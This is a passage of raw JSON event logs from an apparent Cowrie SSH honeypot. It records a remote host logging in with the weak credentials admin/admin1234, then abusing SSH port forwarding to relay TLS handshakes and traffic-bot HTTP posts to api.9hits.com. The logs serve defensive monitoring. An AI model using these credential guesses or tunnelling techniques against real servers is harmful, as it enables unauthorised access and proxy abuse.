\\x89s\\xf3\\x8d\\xb6\\xc0\\xb7\\xf9\\x92$\\xb9v\\x00\\xd6\\x89H\\x8b<S\\xe9\\x93\\xf2!\\x1e\\xdc\\xe1\\x17\\x14\\xd9H\\xcbB\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x87\\xd5\\x9d\\x89\\xd4C\\xffp\\xc2RLg+s\\x01\\x8e\\xcc\\xe5\\x91/\\xb9l\\xed\\xdc\\xb1R9\\x7f\\x02\\x97\\xbfU z\\x99*\\xd7\\xc3 \\x8c\\x06\\xab'\\xb99m\\x00)uI\\xe5s\\x9fA_;\\xde9w\\xdc\\xaa\\xbd\\\\TA\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89s\\xf3\\x8d\\xb6\\xc0\\xb7\\xf9\\x92$\\xb9v\\x00\\xd6\\x89H\\x8b<S\\xe9\\x93\\xf2!\\x1e\\xdc\\xe1\\x17\\x14\\xd9H\\xcbB\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:37.536752Z","src_ip":"123.27.168.40","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:37.781018Z","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:37.909890Z","src_ip":"123.27.168.40","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:38.025179Z","src_ip":"123.27.168.40","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8r\\x15\\xa8\\x8e\\x90\\xdbD\\xe8\\x1a\\xbd\\xad}\\x96\\xba^\"=\\xc8\\xd7\\xa4&\\x12\\xf2\\xd8G\\xacb\\x81 \\xca\\xd5 U$:\\xca\\xad\\x97\\xbbOjsL\\xfd\\x87\\x10}\\xec\\xe7\\xb7\\x82l\\x94lKl\\x97\\xf7t\\xc2\\xc4\\x17\\x1a\\xdb\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xdax\\xbd\\xbe\\xb4k\\xf4\\xb9\\x82(\\x18\\xb3\\xac\\x10\\xce\\xb2\\xfa\\xe3\\xec,\\xf4\\x85\\xb3\\'v\\xe7\\xd5mzXr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8r\\x15\\xa8\\x8e\\x90\\xdbD\\xe8\\x1a\\xbd\\xad}\\x96\\xba^\"=\\xc8\\xd7\\xa4&\\x12\\xf2\\xd8G\\xacb\\x81 \\xca\\xd5 U$:\\xca\\xad\\x97\\xbbOjsL\\xfd\\x87\\x10}\\xec\\xe7\\xb7\\x82l\\x94lKl\\x97\\xf7t\\xc2\\xc4\\x17\\x1a\\xdb\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xdax\\xbd\\xbe\\xb4k\\xf4\\xb9\\x82(\\x18\\xb3\\xac\\x10\\xce\\xb2\\xfa\\xe3\\xec,\\xf4\\x85\\xb3\\'v\\xe7\\xd5mzXr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:38.028394Z","src_ip":"123.27.168.40","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:38.297575Z","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:38.442633Z","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:38.532275Z","src_ip":"123.27.168.40","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3.2 Mobile/16F250 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Z3pBZFU5MFhrc0sjX0JnKg%3D%3Dm8h5o7tFVqZGOTwJHeHuOPyOCu1w41hSh0F53F1Vo5k2bUBISi4hCqFaOfTQXyWkM6rECRGDwr7bwOseR7apCuLhU2ysf00SqVw4j0Mdg7FUmUuYVQW%2BrtZmEWSx2IrEsgl3K8LQKSrWR1oX2h77tiIt7uVDLzbB4jk4OTfOrAmQBeN6yiJT1xFFP9sA%2Fp0GOp9%2B%2BJlv6uu9vCDPUILEoMWIk53N4sDstEpJCnWqgbZxhZDOGeG%2F30e975fHegziLgHoMY1QUocz1MXRtib7VSS1na%2FHkGrpzyKKibBBy6%2B%2FE6yt%2BQ%2B%2FV2xJxZl17GVbxV6LuqXyrQ%2B%2BuIlZ%2B3mlusv55DzkVATLOx7pbU3FZ%2F9Wt5TTa%2BdF9gg4jVJeBPKQbley%2FOpHeHx%2FoiKQROjkJgI%2BSBwVRjSyZQ3gtJPqPCUgCBnECg7f3mgWyS%2F5Bx0lHrLMWzdcpQ8MtS1Ort3sScLXaLWJK5U%2FIuAsD61YQmN3BiT9tZBp2tLCHGpLAiqG5xqALP6qyV7paZ2QP1eLgYoNrTh7lEh7VkIIIQ6evY1RstIgs%2FmBDQ%2FriVm2i%2F1MK%2Bs26FwpSOvmXufDuyz4QeGqdtY%2F87gAFcXQhoJTb9Y36ipoughnsIVBdw42cj27myu6BB%2BhL25HrXpgogGHwYimvwxK9Sm%2BYTzX3QJcfqQt0sXEsIMb8LHmUJWtBF8vLzFb6lwg2bf3827TtU3dCOPuF4aaNGK2CM5ZssR%2FNJFeUyziLPz%2FHD63dOie5CaEqMxO%2FfVDuqBKsWd4UKEKIDzyFyuJOOg8ow1yyk%2FRH2mgJklK32L4hBnfwlFQmeZ%2FDZzBuCEbpNbthN%2FU5h%2FpSUUj7%2FnwvDXLt1Hle3VpbAp%2BBVJ63AC2TV9upsgZhvnYty2kotPFImZQkeEyis3IHTnILz4Lqm1y%2FWzRjil4%2FbySOEc4OBVFca6%2B7MCKgR421YQmprGlTReEoOu6eicrDRx4CzkLpcnV3n79rhBxZfEoCKq%2FHIFFCp3krywJqZdJ95kzAmNV4qHmyhT5XvLEOiqANfMUdiy0w3m7%2B2FUPOc%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3.2 Mobile/16F250 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Z3pBZFU5MFhrc0sjX0JnKg%3D%3Dm8h5o7tFVqZGOTwJHeHuOPyOCu1w41hSh0F53F1Vo5k2bUBISi4hCqFaOfTQXyWkM6rECRGDwr7bwOseR7apCuLhU2ysf00SqVw4j0Mdg7FUmUuYVQW%2BrtZmEWSx2IrEsgl3K8LQKSrWR1oX2h77tiIt7uVDLzbB4jk4OTfOrAmQBeN6yiJT1xFFP9sA%2Fp0GOp9%2B%2BJlv6uu9vCDPUILEoMWIk53N4sDstEpJCnWqgbZxhZDOGeG%2F30e975fHegziLgHoMY1QUocz1MXRtib7VSS1na%2FHkGrpzyKKibBBy6%2B%2FE6yt%2BQ%2B%2FV2xJxZl17GVbxV6LuqXyrQ%2B%2BuIlZ%2B3mlusv55DzkVATLOx7pbU3FZ%2F9Wt5TTa%2BdF9gg4jVJeBPKQbley%2FOpHeHx%2FoiKQROjkJgI%2BSBwVRjSyZQ3gtJPqPCUgCBnECg7f3mgWyS%2F5Bx0lHrLMWzdcpQ8MtS1Ort3sScLXaLWJK5U%2FIuAsD61YQmN3BiT9tZBp2tLCHGpLAiqG5xqALP6qyV7paZ2QP1eLgYoNrTh7lEh7VkIIIQ6evY1RstIgs%2FmBDQ%2FriVm2i%2F1MK%2Bs26FwpSOvmXufDuyz4QeGqdtY%2F87gAFcXQhoJTb9Y36ipoughnsIVBdw42cj27myu6BB%2BhL25HrXpgogGHwYimvwxK9Sm%2BYTzX3QJcfqQt0sXEsIMb8LHmUJWtBF8vLzFb6lwg2bf3827TtU3dCOPuF4aaNGK2CM5ZssR%2FNJFeUyziLPz%2FHD63dOie5CaEqMxO%2FfVDuqBKsWd4UKEKIDzyFyuJOOg8ow1yyk%2FRH2mgJklK32L4hBnfwlFQmeZ%2FDZzBuCEbpNbthN%2FU5h%2FpSUUj7%2FnwvDXLt1Hle3VpbAp%2BBVJ63AC2TV9upsgZhvnYty2kotPFImZQkeEyis3IHTnILz4Lqm1y%2FWzRjil4%2FbySOEc4OBVFca6%2B7MCKgR421YQmprGlTReEoOu6eicrDRx4CzkLpcnV3n79rhBxZfEoCKq%2FHIFFCp3krywJqZdJ95kzAmNV4qHmyhT5XvLEOiqANfMUdiy0w3m7%2B2FUPOc%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:38.537052Z","src_ip":"123.27.168.40","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:38.762946Z","src_ip":"123.27.168.40","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g\\x89a\\xd3d\\x12p^l)f\\xa8\\xe0\\x08\\x114\\xfa\\xe7\\x08\\xec=\\xe8\\xd5t\\x98\\x08\\xb8\\xca\\x9b\\x86&\\x87 \\x03F\\x99\\x05=y\\x0b\\xa1\\xd2&\\xab\\t\\xcb\\x8d_\\xf7\\x0c\\x83\\xb9\\xcc\\xdf\\xc0\\xed\\xef[\\x99\\xd2m\\xd5\\x06\\xe2\\x0b\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x05\\xc7\\xd2\\xbf\\xe4\\x14\\xaat\\xc2\\xac\\xf3\\x9d\\xaa13\\x8a\\x92 w\\xe6\\xc8\\xfc\\xe2\\xccL\\xa0\\xfeE\\xfa*\\x91\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g\\x89a\\xd3d\\x12p^l)f\\xa8\\xe0\\x08\\x114\\xfa\\xe7\\x08\\xec=\\xe8\\xd5t\\x98\\x08\\xb8\\xca\\x9b\\x86&\\x87 \\x03F\\x99\\x05=y\\x0b\\xa1\\xd2&\\xab\\t\\xcb\\x8d_\\xf7\\x0c\\x83\\xb9\\xcc\\xdf\\xc0\\xed\\xef[\\x99\\xd2m\\xd5\\x06\\xe2\\x0b\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x05\\xc7\\xd2\\xbf\\xe4\\x14\\xaat\\xc2\\xac\\xf3\\x9d\\xaa13\\x8a\\x92 